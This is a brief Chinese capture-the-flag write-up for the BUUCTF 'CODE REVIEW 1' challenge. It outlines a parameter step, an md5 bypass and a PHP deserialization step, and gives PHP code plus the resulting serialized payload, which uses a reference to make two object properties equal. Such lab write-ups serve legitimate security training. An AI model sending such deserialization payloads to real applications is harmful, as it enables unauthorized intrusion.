BUUCTF-CODE REVIEW 1（代碼審計）

　　0、打開靶機后，是php源碼

　　1、第一層是GET,POST傳參
　　2、第二層md5繞過
　　3、第三層是php反序列

<?php
class BUU{
    public $correct="";
    public $input="";
}

$obj= new BUU;
$obj->input=&$obj->correct;
echo serialize($obj);
?>

　　得到的字符串：

　　O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

　　4、放postman。